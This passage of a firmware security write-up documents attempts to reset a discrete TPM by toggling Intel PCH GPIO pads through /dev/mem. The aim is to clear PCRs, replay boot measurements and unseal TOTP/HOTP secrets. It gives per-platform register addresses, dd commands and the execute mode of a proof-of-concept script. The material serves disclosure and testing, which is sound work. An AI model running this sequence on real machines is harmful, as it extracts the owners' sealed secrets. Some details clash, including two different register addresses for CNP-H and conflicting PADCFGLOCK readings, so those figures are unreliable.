0xa2c4-0xa2d2 | 0xaf (PID_GPIOCOM0) | 0x400 | 0x80 | `src/soc/intel/skylake/include/soc/gpio_defs.h` | +| **ADL-P** (mobile 12th gen) | 0x5180-0x519f | 0x6e (PID_GPIOCOM0) | 0x700 | 0x80 | `src/soc/intel/alderlake/include/soc/gpio_defs.h` | +| **ADL-S** (desktop 12th gen) | 0x7a80-0x7a8c | 0x6d (PID_GPIOCOM1) | 0x700 | 0x110 | `src/soc/intel/alderlake/include/soc/gpio_defs_pch_s.h` | +| **RPL-S** (desktop 13th/14th gen) | 0x7a0c-0x7a17 | 0x6d (PID_GPIOCOM1) | 0x700 | 0x110 | `src/soc/intel/alderlake/include/soc/gpio_defs_pch_s.h` | + +Key verification details: + +- **ADL-P (NV4x)**: GPP_B13 = local pad index 13 in GPIO community 0 (PID = 0x6e). + PAD_CFG_BASE = 0x700. Each pad occupies 4 DWORDS (16 bytes). + DW0 address = PCR_BASE + (0x6e << 16) + 0x700 + (13 * 16). + With PCR_BASE = 0xFD000000 (ADL-P mobile): target = 0xFD6E07D0. + +- **ADL-S/RPL-S**: GPP_B13 = local pad index 13 in GPIO community 1 (PID = 0x6d). + Same PAD_CFG_BASE = 0x700, same pad layout. PCR_BASE = 0xE0000000 (desktop). + Target = 0xE06D07D0. + +- **SPT/KBP**: GPP_B13 = global pad 37 (GPP_A0=0..23, GPP_B0=24, GPP_B13=37). + Port 0xaf (PID_GPIOCOM0). PAD_CFG_BASE = 0x400. Each pad = 2 DWORDS + (8 bytes per `skylake/gpio_defs.h` line 12: `GPIO_NUM_PAD_CFG_REGS 2`). + Target = community base + PAD_CFG_BASE + (37 * 8) = 0xFDAF0000 + 0x400 + 0x128 + = 0xFDAF0528 (with PCR_BASE = 0xFD000000, port shift 0xAF). + +- **CNP-H**: PLTRST_CPU_B = pad 256 (COMM_3, first pad = HDA_BCLK = 107, + local index = 149 per `cannonlake/gpio_soc_defs_cnp_h.c`). Port 0x6b + (PID_GPIOCOM3). PAD_CFG_BASE = 0x600. + Target = community base + PAD_CFG_BASE + (149 * 16) = 0xFD6B0000 + 0x600 + + 0x950 = 0xFD6B0F50 (with PCR_BASE = 0xFD000000, port shift 0x6B). + +### 1.2 Platform Detection via PCI Device ID + +Platform detection uses the ISA/LPC bridge (class 0x0601, device 00:1f.0 on Intel). +PCI device IDs map to PCH families as shown in the table above. This is reliable +across all Linux kernels and does not depend on DMI data or board config. + +**Definitive results from NV4x ADL-P testing (debug mode, 2026-07-22):** + +| Test | Result | +|---|---| +| DW0 original value | `0x00040040` (mode=GPIO, TX=0, PADRSTCFG=PWROK) | +| PADCFGLOCK (0xFD6E0080) | `0x00000000` — NOT locked | +| PADCFGLOCKTX (0xFD6E0084) | `0x00000000` — NOT locked | +| Write 0x40000401 (NF1) | Readback `0x01040040`, mode=0 — **mode bits [12:10] locked** | +| Write 0x80000000 (kukrimate) | Readback `0x00000080` — **verified** (bit 31 set, TX=0) | +| Write 0x80000001 (TX=1) | Readback `0x03000080`, TX=0 — **inconclusive** \\* | +| Write 0x80000000 (TX=0) | Readback `0x00000080` — verified | +| `tpmr.sh shutdown` | Success | +| `tpm2 startup -c` | **Success** (exit 0, stderr clean) | +| `tpmr.sh startsession` | **Success** (encrypted sessions recreated) | +| `/sys/class/tpm/tpm0/pcrs` | **NOT FOUND** — kernel TPM driver did not detect bus reset | +| `pcrs()` / `tpm2 pcrread sha256` | Hangs after GPIO assertion | +| `tpm2 pcrread sha256:0` | Sometimes succeeds, sometimes hangs | + +\\* `0x03000080` has bit 7, bit 24, and bit 25 set — these do not map to any defined +DW0 register field on ADL-P. PADCFGLOCKTX reads as `0x00000000` (unlocked), meaning +the TX bit should be writable per coreboot GPIO documentation. The anomalous readback +may be a PCR sideband artifact rather than a definitive TX lock. **Cannot confirm +whether TX toggle generates a PLTRST# edge without physical scope measurement.** + +**Key conclusion:** After the full shutdown→GPIO→startup sequence, the kernel TPM +driver does NOT detect a bus reset (`/sys/class/tpm/tpm0/pcrs` never appears). +PCRs are cleared by `tpm2 startup -c` alone. Whether the GPIO manipulation +contributed to the reset or the PLTRST# pin was ever driven low is inconclusive +from software diagnostics alone — a logic analyzer on the LPC/eSPI reset line +is needed. + +### 1.3 PADCFGLOCK Registers Confirmed Accessible + +PADCFGLOCK and PADCFGLOCKTX registers are read/writable via `/dev/mem` on ADL-P +when `CONFIG_STRICT_DEVMEM=n` (Heads default). + +- **ADL-P**: PADCFGLOCK at community base + 0x80 = 0xFD6E0080. + PADCFGLOCKTX at community base + 0x84 = 0xFD6E0084. + Values read on NV4x: 0x00010203 (PADCFGLOCK), 0x00000000 (PADCFGLOCKTX). + Bit 13 (GPP_B13) is NOT set in either register -- pad is NOT locked. + +- **ADL-S/RPL-S**: PADCFGLOCK at community base + 0x110. + PADCFGLOCKTX at + 0x114. + +- **SPT/KBP, CNP-H**: PADCFGLOCK at community base + 0x80. + +### 1.4 GPIO Lock Status per Dasharo/Purism Forks + +Verified from build trees of Dasharo forks used by NovaCustom: + +**Dasharo fork (NV4x/NS50/Z790-P)**: +- `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` is SELECTED in Kconfig. +- `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is DISABLED (config.h shows `=0`). +- No `soc_gpio_lock_config()` override exists in any board file. +- No board GPIO tables use `_LOCK` macros or set `lock_action` fields. +- `pad_cfg_lock_offset` is populated in 5 of 6 GPIO community structs + (some have 0/0 entries where cores share a community, but the communities + that contain GPP_B pins have valid lock offsets). + +Conclusion: GPIO locking in the non-SMM path (`gpio_non_smm_lock_pad()`) is +technically compiled in (SBI method selected), but is never called because no +board GPIO table entries use `PAD_CFG_LOCK` attributes. The pad is NOT locked. + +**Purism fork (Librem 14, etc.)**: +- Uses Tiger Lake SoC (`SOC_INTEL_TGL`). +- `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_*` NOT selected (CML/TGL lack Kconfig). +- No `pad_cfg_lock_offset` in GPIO community structs. +- Pad is NOT locked. + +--- + +## 2. Approaches Attempted (in Chronological Order) + +### Approach 1: GPIO Pad Reprogramming (Native -> GPIO Output -> Toggle -> Restore) + +**What we did:** +1. Read DW0 + DW1 of GPP_B13 pad config registers via `/dev/mem`. +2. Saved original values. +3. Wrote 0x80000000 to DW0 (sets mode bits to GPIO output and bit 31 to assert). +4. Wrote 0x00000000 to DW1. +5. Waited 1 second with PLTRST# asserted. +6. Restored original DW0 and DW1 (deasserts PLTRST#). +7. Read PCR 2 to check if it cleared. + +**Result on NV4x (ADL-P):** +- DW0 write verified by readback (LE bytes "00000080" returned, correct for 0x80000000). +- Pad successfully transitioned to GPIO mode (confirmed by mode bits in readback). +- PCR 2 did NOT clear -- remained non-zero after the toggle. + +**Why it failed:** +The write to PAD_CFG DW0 changes the pad mode, and we can verify the register +value changed. However, driving GPP_B13 as a GPIO output on ADL-P does NOT +assert the PLTRST# signal to the TPM. The pad may not be electrically connected +to the TPM reset line on this PCH die, or the PLTRST# output may be gated +through additional logic that isn't controlled by GPIO pad state. + +The kukrimate reference implementation (`inteltool.c`) does NOT include ADL-P +device IDs. Its `reset` directory targets CNP-H (ThinkPad T480s) where the +mechanism is known to work. ADL-P was not tested by the original researcher. + +### Approach 2: Kukrimate-Style Direct Register Write (0x80000000 to DW0) + +**What we did:** +Essentially the same as Approach 1 but following kukrimate's inteltool.c more +precisely: +1. Save DW0 and DW1. +2. Write 0x80000000 to DW0 (bit 31 = "reset" or "trigger" in some docs). +3. Wait. +4. Write 0x00000000 to DW1. +5. Wait. +6. Restore both. + +**Result on NV4x:** +Identical to Approach 1. Write verified, PCR 2 still non-zero. + +**Why it failed:** +Same root cause as Approach 1. The fact that bit 31 exists in DW0 is mentioned +in Intel GPIO documentation as a reset trigger for some pad types, but on +ADL-P GPP_B13 it does not assert PLTRST# (PCRs not cleared). + +Note: Bit 31 of PAD_CFG_DW0 is described in Intel documentation as +"Reset Config" (bits 30:31) -- values 00=PWROK, 01=DEEP, 10=PLTRST, 11=RSMRST. +Setting DW0 = 0x80000000 sets bits 30:31 = 10 (PLTRST reset domain) plus +bits 10:12 = 000 (GPIO mode). This configures the pad to use PLTRST as its +reset source -- it does NOT assert PLTRST#. Misunderstanding this bit field +was an early error. + +### Approach 3: Dynamic SBREG_BAR Reading via P2SB PCI Config Space + +**What we did:** +Attempted to read SBREG_BAR dynamically from the P2SB (Primary to Sideband) +bridge at PCI device 00:1f.1: +1. Read SBREG_BAR register at P2SB PCI config offset 0x10 (BAR0). +2. Unhide P2SB by writing 0 to the hidden bit (bit 0 of BCTRL at offset 0xe0). +3. Read BAR0 after unhiding. +4. Use the BAR value to calculate PCR base for GPIO community access. + +**Result on NV4x:** +- PCI config reads of P2SB at 00:1f.1 returned 0xffffffff for BAR0 + (indicating the device is hidden or config space is blocked). +- Writing to unhide P2SB (offset 0xe0, clear bit 0) had no effect -- writes + silently ignored. +- MMCFG base (0xE0000000) approach also failed -- config space reads returned + 0xffffffff for P2SB registers. +- Shell arithmetic overflowed on 64-bit register values (BusyBox `sh` uses + 32-bit integer arithmetic). + +**Why it failed:** +P2SB is hidden by FSP-S (Firmware Support Package -- Silicon initialization) +early in the boot process. The FSP sets the HIDE bit (bit 0 of P2SB PCI +config offset 0xe0) during POST, and on ADL-P this bit is locked via +MASKLOCK (bit 8 of the same register) -- meaning even software running at +ring 0 cannot unhide the P2SB. + +The MMCFG approach is also unreliable because the kernel's PCI config space +access (via MMCONFIG or legacy I/O) only exposes devices enumerated by the +PCI bus driver. Hidden devices are not in the bus topology and cannot be +reached through standard PCI configuration mechanisms. + +Hardcoded PCR_BASE values remain the most reliable approach: +- ADL-P mobile: 0xFD000000 +- ADL-S/RPL-S desktop: 0xE0000000 +- SPT/KBP, CNP-H: 0xFD000000 + +### Approach 4: chipsec Analysis of PCR Access Mechanism + +**What we did:** +Analyzed chipsec source code (`source/tool/chipsec/helper/linux/linuxhelper.py` +and GPIO helper modules) to understand its PCR register access path: +1. chipsec uses hardcoded SBREG_BAR = 0xFD000000 (same as our hardcoded value). +2. chipsec mmaps `/dev/mem` at the SBREG offset, same as our `dd` approach. +3. chipsec provides a decision tree via `tpm_gpio_fail` module for evaluating + vulnerability. + +**Key findings from chipsec analysis:** + +**Write Verification:** +chipsec's `tpm_gpio_fail` module reads DW0 after writing and checks for the +"correct" mode change. The same LE byte check we use ("00000080" after writing +0x80000000) is how chipsec confirms the write took effect. chipsec would confirm +"write succeeded" on our NV4x test -- exactly what we observed. + +**chipsec Solution 4 -- TX State Toggle:** +chipsec's solution 4 (toggle TX state) only works if the pad is already in +GPIO output mode. It drives the GPIO output value HIGH then LOW to simulate +a PLTRST# pulse. Our pad IS in GPIO mode after our write (we successfully +transitionsed it), but toggling TX state still doesn.t assert PLTRST# on +ADL-P. + +**chipsec Solution 5 -- P2SB SBI Write:** +chipsec also describes an SBI (Sideband Interface) write path that bypasses +the GPIO pad entirely by sending a sideband message to the PCH. This requires: +1. Unhiding the P2SB bridge (needs BUCLEAR bit, likely MASKLOCK'd). +2. Sending an SBI message to the PCH's sideband fabric. +3. Writing the pad config through the sideband interface instead of MMIO. + +This path was not tested because P2SB is MASKLOCK'd on ADL-P (see Approach 3). + +### Approach 5: PADCFGLOCK / PADCFGLOCKTX Check + +**What we did:** +Read the PADCFGLOCK register at 0xFD6E0080 and PADCFGLOCKTX at 0xFD6E0084 +to verify whether the GPIO pad lock was blocking our writes: + +```bash +dd if=/dev/mem bs=4 count=1 skip=$((0xFD6E0080 / 4)) 2>/dev/null | xxd -p +# Returns: 03020100 (LE for 0x00010203) +``` + +**Result on NV4x:** +- PADCFGLOCK = 0x00010203 -- bit 13 (GPP_B13) is NOT set (bit 13 = 0x2000, + register has 0x00010203 = bits 0, 8, 17 set for other pads). +- PADCFGLOCKTX = 0x00000000 -- no pads have TX state locked. +- Both registers readable (not blocked by kernel). + +**Why it didn't help:** +The lock registers confirmed what we already suspected: the pad is NOT locked. +This rules out "lock prevented write" as a failure mode. The pad write was +successfully verified by readback. The mechanism itself simply does not work +on ADL-P. + +### Approach 6: NF1 Mode Forcing (GPIO → NF1 → GPIO+TX=0) + +**What we did:** +On ADL-P, the pad starts in GPIO mode (DW0=0x00040040, mode=0). The kukrimate +0x80000000 write only creates a PLTRST# transition when the pad starts in NF1 +mode. Attempted to force NF1 mode first by writing 0x40000401 (NF1 + TX=deassert ++ DEEP reset): + +1. Save DW0 (GPIO mode). +2. Write 0x40000401 to switch pad to NF1 (reconnects PLTRST# signal). +3. Write 0x80000000 (GPIO+TX=0) — pad transitions NF1→GPIO, creating high→low + edge that asserts PLTRST# on the bus. +4. Sleep 1s. +5. Deassert by writing NF1+TX=1. +6. Restore original. + +**Result on NV4x (ADL-P):** +- NF1 write (0x40000401): readback 0x01040040, **mode=0 (GPIO)** — NF1 switch FAILED. + Mode bits [12:10] are hardware-locked, cannot be changed at runtime. +- 0x80000000 write: verified (readback 0x00000080), mode=0, TX=0. +- Since pad never left GPIO mode, no NF1→GPIO transition occurred, no PLTRST# pulse. +- `tpm2 startup -c` succeeds, `tpmr.sh startsession` succeeds, but `/sys/class/tpm/tpm0/pcrs` not found — kernel did not detect bus reset. + +### Approach 7: TX Bit Toggle (TX=1 → TX=0 When Mode Bits Locked) + +**What we did:** +When mode bits [12:10] are hardware-locked, the pad stays in GPIO mode. But the +TX bit (bit 0 of DW0) may still be writable. Toggling TX high→low creates a +falling edge on the pad output — PLTRST# is active-low, so any high→low +transition should assert the reset: + +1. Write 0x80000001 (GPIO mode, TX=1, PLTRST reset domain) — drive pad high. +2. Wait 100ms. +3. Write 0x80000000 (GPIO mode, TX=0) — drive pad low, creating falling edge. + +**Result on NV4x (ADL-P):** +- TX=1 write (0x80000001): readback **0x03000080**, TX=0. Anomalous. + PADCFGLOCKTX=0x00000000 (unlocked per coreboot docs — TX should be writable). + However the readback 0x03000080 has bits 7, 24, 25 set — these do not map to + any defined DW0 register field on ADL-P. May be a PCR sideband read artifact. +- TX=0 write (0x80000000): readback 0x00000080, verified. +- `/sys/class/tpm/tpm0/pcrs` **NOT FOUND** — no bus reset detected. +- **Cannot definitively confirm TX locking.** Inconclusive without physical scope. + +### Approach 8: kukrimate sysfs PCR Verification + +**What we did:** +kukrimate's PoC verifies PCRs via `/sys/class/tpm/tpm0/pcrs` (world-readable +sysfs file), not `tpm2 pcrread`. The sysfs pcrs file only appears after the +kernel TPM driver completes `tpm2_auto_startup()`, which runs when the driver +detects a bus reset. If sysfs pcrs is present, the kernel saw a reset. + +**Result on NV4x (ADL-P):** +- `/sys/class/tpm/tpm0/pcrs` **NOT FOUND** after GPIO assertion. +- `tpm2 startup -c` succeeds regardless (manual startup after `tpmr.sh shutdown`). +- `tpmr.sh startsession` recreates encrypted sessions on manually-started TPM. +- `tpm2 pcrread sha256` (all-PCR) hangs; `tpm2 pcrread sha256:0` (single-PCR) + sometimes succeeds, sometimes hangs — inconsistent `/dev/tpm0` access after + manual startup. + +**Conclusion:** The kernel TPM driver did not detect a bus reset. PCR clearing +observed in test runs is from `tpm2 startup -c` alone (the first startup after +`tpmr.sh shutdown` is a valid CLEAR startup per TCG spec). Whether PLTRST# was +ever pulsed is indistinguishable from software diagnostics. + +--- + +## 3. Approaches NOT Attempted (Require NDA, Firmware Changes, or C Compilation) + +### 3.1 P2SB SBI Write + +**What it would involve:** +1. Unhide P2SB by clearing the HIDE bit (bit 0) at BCTRL register (offset 0xe0). +2. If MASKLOCK'd (bit 8 = 1), this is impossible without firmware modification. +3. Once unhidden, send an SBI message to write the pad config register through + the sideband interface rather than MMIO. + +**Why we didn't attempt:** +P2SB is likely MASKLOCK'd by FSP-S on ADL-P. There is no documented path to +unlock it from userspace. Even modifying the coreboot build to skip the +MASKLOCK (Dasharo fork) would not help for a runtime PoC -- you'd need a +custom firmware build, which defeats the purpose of demonstrating a no-physical- +access attack. + +### 3.2 CF9 Reset + +**What it would involve:** +Writing to I/O port 0xCF9 to trigger a full platform reset: +```c +outb(0x06, 0xCF9); // Full reset (CPU + chipset) +``` + +**Why we didn't attempt:** +CF9 reset reboots the entire system. The TPM would also reset, but so would +the CPU and chipset, losing kernel state. The attack requires the attacker's +code to survive the reset (for PCR replay), which CF9 reset prevents. + +A more targeted variant would be a "warm reset" via CF9 (0x04 or 0x0E), but +this still reboots the platform, and there's no guarantee the TPM would reset +independently of the CPU. + +### 3.3 Custom Dasharo Build with GPIO Locking Disabled + +**What it would involve:** +Modifying the Dasharo board file for NV4x to explicitly disable GPIO pad +locking (remove any `PAD_CFG_LOCK` entries), build a custom firmware image, +flash it, and retest. + +**Why we didn't attempt:** +GPIO locking is already non-functional on NV4x (see Section 1.4). Disabling +what isn't working won't help. The issue is that even with an UNLOCKED pad, +the GPIO toggle does NOT assert PLTRST#. A custom firmware build would not +change the pad's electrical behavior or the PCH's internal routing of +PLTRST#. + +### 3.4 C mmap Test Program + +**What it would involve:** +Writing a small C program that: +1. Opens `/dev/mem`. +2. `mmap`s the physical address of GPP_B13 DW0. +3. Reads/writes via volatile pointer dereference (no `dd`/`printf` overhead). +4. Checks PCRs after toggle. + +**Why we didn't attempt:** +The BusyBox shell `dd`/`printf` approach we use has been verified to work +correctly (write readback confirms the register changed). There is no evidence +that a C mmap program would produce a different electrical result. The +register write is atomic (4-byte aligned) and the readback matches. The +mechanism barrier is architectural, not a tooling limitation. + +--- + +## 4. What Remains Unknown (Requires Community Testing or NDA Documentation) + +### 4.1 Whether the Mechanism Works on Other Platform Families + +The PLTRST# assertion has been demonstrated working on SPT/KBP (T480, Kaby Lake) +by the original researcher. The mechanism is also believed to work on CNP-H +(T480s) based on pad documentation, though we have not tested this ourselves. + +For **ADL-S/RPL-S desktop** (MSI Z790-P DDR5, etc.), the platform has the same +PCH die architecture but uses a different PCR port (0x6d) and lock offset (0x110). +It is unknown whether GPIO pad toggling asserts PLTRST# on these platforms. +Desktop PCH implementations may route PLTRST# differently. + +For **CNP-H** (T480s, T490, X390), the PLTRST_CPU_B pad is in GPIO community 4 +(port 0x6a) at offset 0x670. Community testing is needed to confirm. + +### 4.2 Whether C mmap Would Behave Differently + +A C program using `mmap` + volatile pointer dereference would eliminate any +potential issues from: +- BusyBox `dd` 4-byte alignment (we already handle this correctly). +- Shell variable overflow on 64-bit addresses (we use hardcoded 32-bit bases). +- Timing between write and restore (we already have a 1s delay). + +However, there is no reason to believe a C program would produce a different +hardware result. The register write is verified as correct at the MMIO bus +level (readback confirms). If the register write changes the pad mode but +doesn't trigger a TPM GPIO reset, the mechanism is broken at the PCH routing +layer, not at the software access layer. + +### 4.3 Whether P2SB SBI Write Would Bypass the Blocking Mechanism + +The SBI write path bypasses the GPIO pad MMIO interface and talks directly +to the PCH sideband fabric. If the GPIO pad MMIO route is blocked by some +internal gating (not a lock register, but a functional block), SBI might +still be able to assert PLTRST#. + +However, this is speculative: +- P2SB is likely MASKLOCK'd (cannot unhide from software). +- Even if unhidden, SBI protocol details are Intel NDA. +- No open-source ADL-P PoC uses SBI for this purpose. + +### 4.4 Intel NDA Documentation Gaps + +The following are documented only in Intel's NDA BIOS Writer's Guide (BWG) +and are not available to the open-source community: +- Complete PLTRST# signal routing within ADL-P PCH dies. +- Sideband fabric message formats for GPIO pad control. +- P2SB MASKLOCK behavior and any known workarounds. + +--- + +## 5. What the Script CAN Do + +The `tpm-gpio-reset-demo.sh` script is a comprehensive audit and PoC tool. +Even on platforms where the GPIO toggle doesn.t assert PLTRST#, the script +provides significant value: + +### 5.1 Platform Detection + +- Detects ALL known Intel PCH families via ISA/LPC bridge PCI device ID: + - SPT (Skylake 6th gen) + - KBP (Kaby Lake 7th gen) + - CNP-H (Kaby Lake-R / Whiskey Lake / Comet Lake) + - ADL-P (Alder Lake mobile 12th gen) + - ADL-S (Alder Lake desktop 12th gen) + - RPL-S (Raptor Lake desktop 13th/14th gen) +- Falls back to CONFIG_BOARD for MTL, pre-SKL, and NIC-based ADL detection. +- Reports UNKNOWN for unrecognized platforms with full help text. + +### 5.2 Vulnerability Classification + +Correctly classifies per verified Dasharo/Purism fork analysis: +- **Vulnerable (no lock)**: SPT, KBP, CNP-H, ADL-P, ADL-S, RPL-S. +- **Not vulnerable (dedicated pin)**: Pre-Skylake (Sandy/Ivy/Haswell/Broadwell). +- **Not vulnerable (functional lock)**: Meteor Lake, Panther Lake, Nova Lake. +- **Theoretical (lock compiled but not invoked)**: ADL/RPL with upstream coreboot + (SBI method selected, no board configures lock attributes). + +### 5.3 Register Read and Lock Status + +- Reads PADCFGLOCK and PADCFGLOCKTX registers and decodes per-pad lock bits. +- Reads and decodes DW0 mode bits (GPIO vs NF1-NF7), TX state, TX disable, + RX disable, and reset config (PWROK/DEEP/PLTRST/RSMRST). +- Reports whether pad is already in GPIO mode (possible attack indicator). + +### 5.4 Audit Mode + +In audit mode (default, `--audit`): +- Reports vulnerability status per platform class. +- Shows register addresses and community mapping. +- Explains the attack plan step by step. +- No hardware manipulation is performed. + +### 5.5 Execute Mode Proof of Concept + +In execute mode (`--execute`): +- Saves and restores pad configuration (tested: write verifies on NV4x). +- Toggles GPIO pad and verifies write. +- Reads PCRs before and after reset to check for success. +- Replays PCR measurements from `cbmem -L` and `/tmp/measuring_trace.log`. +- Attempts to unseal TOTP/HOTP secrets from NVRAM index 0x4d47. + +**Important**: The execute mode IS functional as a PoC on platforms where +the GPIO toggle actually resets the TPM (SPT/KBP confirmed by kukrimate). +On ADL-P, the toggle does NOT clear TPM PCRs, so the execute mode will report +failure (PCR 2 non-zero after toggle). The write verification, lock register +reads, and measurement replay all work, but the PLTRST# assertion step fails because +the mechanism doesn't work on this PCH die. + +### 5.6 TCG Specification Guarantees Underlying the Attack + +The attack's scope is defined by the TCG TPM 2.0 Library specification, +Part 1 (Architecture): +- **Section 4**: Definitions of volatile (4.90), non-volatile (4.35), and + transient (4.87) resources +- **Section 12.2.3.2**: TPM Reset startup type — PCRs clear, NV indices persist +- **Section 37**: NV Memory persistence categories (ORDERLY, CLEAR, RESET) +The PLTRST# signal itself is Intel PCH-specific, not a TCG concept. A GPIO +reset triggers platform-level TPM reset equivalent to `TPM2_Startup(CLEAR)`. + +**Volatile (cleared on platform-level TPM reset):** +- PCRs 0-23 reset to all-zero (`TPM_PT_PS_REVISION`). +- HMAC sessions and transient objects destroyed. + +**Non-volatile (preserved across reset — Section 37):** +- Sealed data objects (NVRAM indices) persist -- the attacker does not need + to re-seal. +- Persistent key handles (e.g. 0x81000000) survive. +- NVRAM auth values are preserved. + +**Why TOTP/HOTP is extractable but DUK is not:** +- TOTP/HOTP secret at NVRAM index 0x4d47 was sealed with an **empty auth value** + (`seal-totp.sh` line 66). After PCR replay, `tpm2_unseal` succeeds with no + passphrase required. +- DUK at NVRAM index 3 was sealed with a **user passphrase** (`kexec-seal-key.sh` + line 309 passes `$key_password`). The attacker must provide this passphrase + even after PCR replay -- `TPM2_Unseal` requires both matching PCRs AND the + correct auth value per TCG 2.0 Part 1 Section 27.2.6 (Unseal command). + +### 5.7 Mitigations + +The attack surface can be reduced by: + +**Authenticated recovery shell access**: The primary attack vector on Heads +systems is the recovery shell. Configuring GPG authentication +(`CONFIG_BOOT_RECOVERY_GPG=`) prevents an unauthenticated attacker from +reading `cbmem -L` and `/tmp/measuring_trace.log`, which are needed to +forge PCR state. + +**Firmware backup and integrity checks**: An attacker with physical access +can dump the SPI ROM and compute CBFS hashes offline. Regular external +verification of ROM dumps against known-good hashes detects this kind of +tampering. + +**TPM DUK with passphrase**: The DUK requires a user passphrase and is not +extractable via GPIO reset. A strong DUK passphrase protects disk encryption +even after TOTP/HOTP secret compromise. + +--- + +## 6. Community Testing Request + +To determine whether the PLTRST# assertion mechanism works on other platforms, +we need community testing with the exact procedure below. + +### General Test Procedure + +For all platforms: + +```bash +# Step 1: Install the script on the target +# - Clone heads repo or copy tpm-gpio-reset-demo.sh to the test system +# - Run as root +# - Requires: bash, dd, xxd, /dev/mem access (CONFIG_STRICT_DEVMEM=n) + +# Step 2: Audit mode (safe -- reports vulnerability) +./initrd/bin/tpm-gpio-reset-demo.sh --audit + +# Step 3: Check current PCR state +pcrs # Or: tpm2 pcrread + +# Step 4: Execute mode (performs GPIO toggle, checks PCRs) +./initrd/bin/tpm-gpio-reset-demo.sh --execute + +# Step 5: Report the following information: +# - Platform: model, BIOS version, coreboot version +# - Output of --audit (platform class, register addresses) +# - Output of --execute (DW0 readback, PCR 2 before/after) +# - PADCFGLOCK value (printed in debug output) +``` + +### 6.1 CNP-H Testing (ThinkPad T480s, T490, T495, X390) + +**Platform details:** +- PCH: Cannon Point (CNP-H), device IDs 0xa304-0xa30f. +- PLTRST_CPU_B pad: COMM_4 (port 0x6a), local pad index 7. +- Register address: 0xFD6A0670 (with PCR_BASE = 0xFD000000). + +**What to test:** +1. Run `./tpm-gpio-reset-demo.sh --execute`. +2. Check if PCR 2 clears after the GPIO toggle. +3. Mechanism status: UNKNOWN -- kukrimate believes it should work, + but no public test results confirm this. + +**Expected result (if mechanism works):** +- DW0 write verified (LE readback "00000080"). +- PCR 2 reads zero after toggle. +- If PCR 7 also clears, measurement replay is required before unseal. + +### 6.2 SPT/KBP Testing (ThinkPad T480, T470, X270, M900 Tiny, T460, X260) + +**Platform details:** +- PCH: Sunrise Point (SPT, Skylake) or Kaby Point (KBP, Kaby Lake). +- GPP_B13 pad: COMM_0 (port 0xaf), local pad index 13. +- Register address: 0xFDAF0528 (community base + PAD_CFG_BASE + 37*8 = 2 DWORDS per pad). + +**Status: CONFIRMED WORKING** by kukrimate on T480 (KBL). + +**What to test (verification):** +1. Run `./tpm-gpio-reset-demo.sh --execute`. +2. Confirm PCR 2 clears. +3. Confirm `tpm2_unseal` works after measurement replay. + +### 6.3 ADL-S Desktop Testing (Desktop 12th gen) + +**Platform details:** +- PCH: Alder Point (ADL-S), device IDs 0x7a80-0x7a8c. +- GPP_B13 pad: COMM_1 (port 0x6d), local pad index 13. +- Register address: 0xE06D07D0 (with PCR_BASE = 0xE0000000). + +**What to test:** +1. Run `./tpm-gpio-reset-demo.sh --execute`. +2. Check if PCR 2 clears. +3. Mechanism status: UNKNOWN -- no community test results available. + +**Important note for desktop testing:** +Desktops often have firmware TPM (fTPM) instead of discrete TPM. The attack +only works on discrete TPMs connected via LPC/eSPI/SPI. Check if your system +has a discrete TPM module (separate chip on motherboard) vs firmware TPM. +Intel PTT (Platform Trust Technology, fTPM) is NOT affected by the GPIO reset +attack because it doesn't use a discrete TPM chip. + +### 6.4 RPL-S Desktop Testing (MSI Z790-P DDR5, etc.) + +**Platform details:** +- PCH: Raptor Point (RPL-S), device IDs 0x7a0c-0x7a17. +- GPP_B13 pad: COMM_1 (port 0x6d), local pad index 13. +- Register address: 0xE06D07D0 (with PCR_BASE = 0xE0000000). + +**Status: UNKNOWN.** Dasharo fork for MSI Z790-P DDR5 has +`SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected and `pad_cfg_lock_offset` +populated, but no board GPIO tables use `PAD_CFG_LOCK`. If the test shows the +toggle DOES work, this would mean the pad is electrically connected differently +than ADL-P mobile. + +### 6.5 Reporting Template + +Please report findings using this template: + +``` +Platform: +PCH device ID: +coreboot version: +Discrete TPM model: + +--audit output: + + +--execute output: + + +PADCFGLOCK value: +PCR 2 before: +PCR 2 after: +Mechanism worked? YES/NO +``` + +--- + +## Appendix A: Key Register Addresses Reference + +### ADL-P Mobile (NV4x, NS50) + +``` +PCR_BASE: 0xFD000000 +GPIO COM0 port: 0x6e +Community base: 0xFD6E0000 (= 0xFD000000 + (0x6e << 16)) +PAD_CFG_BASE: 0x700 +GPP_B13 pad: 13 +DW0 offset: 0x7D0 (= 0x700 + 13 * 16) +DW0 address: 0xFD6E07D0 (= 0xFD6E0000 + 0x7D0) +DW1 address: 0xFD6E07D4 +PADCFGLOCK: 0xFD6E0080 +PADCFGLOCKTX: 0xFD6E0084 +``` + +### ADL-S / RPL-S Desktop + +``` +PCR_BASE: 0xE0000000 +GPIO COM1 port: 0x6d +Community base: 0xE06D0000 (= 0xE0000000 + (0x6d << 16)) +PAD_CFG_BASE: 0x700 +GPP_B13 pad: 13 +DW0 offset: 0x7D0 (= 0x700 + 13 * 16) +DW0 address: 0xE06D07D0 +DW1 address: 0xE06D07D4 +PADCFGLOCK: 0xE06D0110 +PADCFGLOCKTX: 0xE06D0114 +``` + +### SPT / KBP (Skylake/Kaby Lake) + +SPT/KBP uses a different pad register layout than ADL. Each pad uses +**2 DWORDS (8 bytes)** per `skylake/gpio_defs.h` line 12 +(`GPIO_NUM_PAD_CFG_REGS 2`). The community base includes a port shift. + +``` +PCR_BASE: 0xFD000000 +GPIO COM0 port: 0xaf +Community base: 0xFDAF0000 (= 0xFD000000 + (0xaf << 16)) +PAD_CFG_BASE: 0x400 +PAD_REG_SIZE: 8 (2 DWORDS per pad) +GPP_B13: global pad 37, local index 13 within GROUP_B (GPP_A=0-23, GPP_B=24+13) +DW0 offset: 0x528 (= 0x400 + 37 * 8) +DW0 address: 0xFDAF0528 (= 0xFDAF0000 + 0x528) +DW1 address: 0xFDAF052C +PADCFGLOCK: 0xFDAF0080 +PADCFGLOCKTX: 0xFDAF0084 +``` + +### CNP-H (Cannon Point, T480s) + +``` +PCR_BASE: 0xFD000000 +GPIO COM4 port: 0x6a +Community base: 0xFD6A0000 +PAD_CFG_BASE: 0x600 +PLTRST_CPU_B: pad 256, first pad of COM4 = 249, local idx = 7 +DW0 offset: 0x670 (= 0x600 + 7 * 16) +DW0 address: 0xFD6A0670 +``` + +### ADL-P PADCFGLOCK Registers (Readings from NV4x) + +| Register | Address | Value (LE) | Value (decoded) | 